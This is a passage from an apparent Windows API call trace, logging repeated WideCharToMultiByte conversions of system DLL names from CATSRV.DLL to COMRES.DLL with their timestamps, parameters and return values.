lpUsedDefaultChar=0x0) returned 10 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0xb3c310, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0241.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0xb3c310, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0xb3c1a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0xb3c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0xb3c1a8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0xb3c310, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0xb3c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0xb3c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0xb3c310, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0xb3c310, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0xb3c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0xb3c310, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0xb3c310, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0xb3c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0xb3c310, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0xb3c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0xb3c310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0241.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0241.772] 